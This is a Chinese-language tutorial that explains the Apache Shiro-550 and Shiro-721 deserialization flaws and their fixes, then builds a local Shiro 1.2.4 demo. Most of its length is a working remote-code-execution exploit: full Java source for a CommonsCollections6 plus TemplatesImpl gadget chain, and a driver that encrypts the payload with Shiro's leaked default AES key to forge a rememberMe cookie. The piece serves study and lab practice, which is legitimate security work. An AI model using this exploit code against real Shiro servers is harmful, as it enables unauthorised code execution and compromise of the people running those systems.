Shiro
Shiro是一个强大的、易于使用的 Java 安全框架,它提供了以下四大核心功能:
- 身份验证 (Authentication):验证用户是否是其声称的身份,通常通过用户名和密码登录。
- 授权 (Authorization):控制用户对应用程序资源的访问权限,即“谁可以做什么”。
- 密码学 (Cryptography):提供易于使用的加密 API,用于保护数据。
- 会话管理 (Session Management):在任何环境中(包括非 Web 环境)提供会话功能。
Shiro两个有名的反序列化漏洞:Shiro-550和Shiro-721。反序列化漏洞是由于程序在处理不可信的序列化数据时,未能对数据进行充分验证和过滤,导致攻击者可以构造恶意的序列化数据,并在反序列化过程中执行任意代码。
Shiro-550
这个漏洞主要出现在 Shiro 的 RememberMe
功能中。当用户登录时,如果勾选了RememberMe
选项,Shiro 会将用户的身份信息进行序列化,并使用一个硬编码或默认的密钥对其进行加密,然后将加密后的数据存储在 rememberMe cookie
中发送给浏览器。当浏览器下次请求时,会将rememberMe cookie
带回服务器。Shiro 会解密并反序列化这个 cookie 中的数据,以实现用户自动登录。
大致流程如下:

漏洞的根本原因在于:
- 默认或硬编码的加密密钥: 在 Shiro 1.2.5 版本之前,Shiro 默认使用一个硬编码的 AES 加密密钥。这个密钥是公开的,或者可以通过某种方式推导出来。
- 可控的序列化数据: 攻击者可以利用这个公开的密钥,构造恶意的序列化数据(通常包含 RCE 载荷),然后用相同的密钥进行加密,并将其作为
rememberMecookie
的值发送给服务器。
当服务器接收到这个恶意rememberMe cookie
时,会使用已知的密钥进行解密,然后尝试反序列化其中的数据,从而实现RCE。
解决办法:
- 升级Shiro版本
- 如果无法立即升级,配置一个强大、随机且唯一的
rememberMe
加密密钥。
- 禁用RememberMe功能:如果应用不需要“记住我”功能,可以考虑直接禁用它。
Shiro-721
Shiro-721 是一个 Padding Oracle 攻击和 CBC Byte-Flipping 攻击的结合,主要影响 Shiro 的 AES/CBC/PKCS5Padding
加密模式。在 Shiro 1.4.2 之前的版本中,虽然 Shiro 修复了 Shiro-550 的默认密钥问题,开始在每次启动时随机生成密钥,但是它默认使用的加密模式 AES/CBC/PKCS5Padding
存在漏洞。
攻击者无法直接获取密钥,但可以利用 Padding Oracle 攻击:
- Padding Oracle 攻击:通过观察服务器在解密
rememberMe cookie
时返回的不同错误信息(例如,填充错误会导致不同的响应),攻击者可以一点点地推断出加密数据的明文,或者验证自己猜测的明文是否正确。
- CBC Byte-Flipping 攻击:结合 Padding Oracle,攻击者可以修改加密数据的某个字节,然后在服务器端解密时,利用 CBC 模式的特性,导致明文的下一个块发生可预测的改变。通过多次这样的尝试,攻击者最终能够修改反序列化数据中的关键字节,从而构造出恶意的序列化数据,实现RCE**。
与 Shiro-550 的区别: Shiro-721 不需要知道硬编码的密钥,而是通过加密模式本身的漏洞来逐步推断或修改数据,攻击成本相对更高,但一旦利用成功,同样可以导致 RCE。
影响范围: Apache Shiro 1.4.2 之前的版本。在 1.4.2 及更高版本中,Shiro 默认改用了 AES/GCM/PKCS5Padding
模式,该模式能够更好地抵抗 Padding Oracle 攻击。
搭建Shiro demo
搭建简单demo,Shiro版本为1.2.4。在Shiro 1.2.5版本之前使用默认AES加密密钥kPH+bIxk5D2deZiIxcaaaA==
来加密rememberMe cookie
。
执行命令mvn package
,将项目打包成war包

运行/调试配置选择Tomcat本地,其配置为在服务器启动时部署shirodemo.war

然后访问 http://localhost:8080/shirodemo/ ,会跳转至登录页面,账号密码为root/secret
,登录的时候勾选Remember me
,抓包看看

登录成功之后,服务端会返回一个rememberMe cookie

CC6构造payload
攻击思路:
- 生成序列化payload
- 使用Shiro默认key进行加密
- 将密文作为rememberMe的cookie发送给服务端
这里使用CC6的链子,加密用Shiro内置的类org.apache.shiro.crypto.AesCipherService
,得到一段密文

将密文作为rememberMe的值传入

结果是没有弹出计算器,服务器出现报错。报错原因为:如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。CC6里用到了Transformer
数组,所以此处报错。

TemplatesImpl构造payload
这里考虑用TemplatesImpl
,利用TemplatesImpl
执行命令的代码:
1
2
3
4
5
|
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {bytescode});
setFieldValue(obj, "_name", "Attack");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
obj.newTransformer();
|
CC3中利用InvokerTransformer
调用 TemplatesImpl#newTransformer
方法:
1
2
3
4
|
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(obj),
new InvokerTransformer("newTransformer", null, null)
};
|
上述也用到了Transformer
数组,不符合要求。如何改造?
在CC6中使用了TiedMapEntry
这个类,它的构造函数接受了两个参数,一个是Map,一个是对象Key。TiedMapEntry
类有个getValue
调用了map的get方法,并传入key。
1
2
3
|
public Object getValue() {
return map.get(key);
}
|
当这个map是LazyMap的时候,其get方法就触发了transform()
方法。
1
2
3
4
5
6
7
8
9
|
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
|
在构造CC6的时候,这里参数key的值是可以随意设置的,因为Transformer[]
数组的首个对象是ConstantTransformer
,通过ConstantTransformer
来初始化恶意对象。但是现在不能使用Transformer[]
数组,就不能使用ConstantTransformer
了。不过这个LazyMap#get
的参数key会被传入transform()
,它也能扮演ConstantTransformer
的角色,用来传递恶意对象——在构造TiedMapEntry
的时候,key传入创建的TemplatesImpl
对象。
编写POC
首先创建TemplatesImpl
对象:
1
2
3
4
|
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {bytescode}); //字节码
setFieldValue(obj, "_name", "attack"); // 不为空即可
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); //需要是一个TransformerFactoryImpl对象
|
然后创建InvokerTransformer
去调用newTransformer
方法,这里先传入一个不危险的方法,如getClass
,避免恶意方法在构造Gadget的时候触发:
1
|
Transformer transformer = new InvokerTransformer("getClass", null, null);
|
在构造TiedMapEntry
的时候,key传入创建的TemplatesImpl
对象:
1
2
3
4
5
6
|
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, obj); //传入创建的TemplatesImpl对象
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.clear(); //效果等同于remove
|
最后,将InvokerTransformer
的方法从getClass
改成newTransformer
。
Cc6Shiro.java
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
|
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class Cc6Shiro {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public byte[] getPayload(byte[] clazzBytes) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
setFieldValue(obj, "_name", "Attack");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer transformer = new InvokerTransformer("getClass", null, null);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, obj);
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.clear();
setFieldValue(transformer, "iMethodName", "newTransformer");
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
return barr.toByteArray();
}
}
|
恶意类:

攻击Shiro:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
package org.example;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import javassist.ClassPool;
import javassist.CtClass;
public class AntiShiro {
public static void main(String []args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz =
pool.get(org.example.Attack.class.getName());
byte[] payloads = new
Cc6Shiro().getPayload(clazz.toBytecode());
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}
|
这里用到了Javassist
,这是一个非常强大的字节码操作库,可以在运行时创建、检查和修改 Java 字节码。
在pom.xml中导入
1
2
3
4
5
|
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.29.2-GA</version>
</dependency>
|
前两行代码:
1
2
3
4
5
|
// ClassPool是是Javassist中一个非常核心的类,可以理解为一个用于管理和查找CtClass对象的工厂,当需要加载一个类来修改它的字节码时,都是通过ClassPool来完成的。
ClassPool pool = ClassPool.getDefault();`
// pool.get()获取一个CtClass对象,然后CtClass提供的各种方法如addMethod、addField、removeMethod、setSuperclass等来修改这个类的结构和行为。
CtClass clazz = pool.get(org.example.Attack.class.getName());`
|
攻击效果:

总结
在Shiro框架中,勾选了Remember Me就会将身份信息序列化,并经过加密放在cookie中,默认密钥是泄露的。
想攻击Shiro,就可以考虑构造序列化&加密的RCE命令,替换原来的cookie值。选择使用CC6+TemplatesImpl
结合的Gadget链进行攻击。直接使用CC6链进行攻击会因为反序列化流中包含非Java自身数组而报类无法加载的错误,为了规避使用Transformer
数组,需要构造新的链。
考虑到LazyMap#get
中会对key
值进行transform
函数处理,如果在这里将key
传入TemplatesImpl
对象,就能代替之前数组里ConstantTransformer
初始化恶意对象的操作,就能将数组长度变为1规避使用数组了。
参考: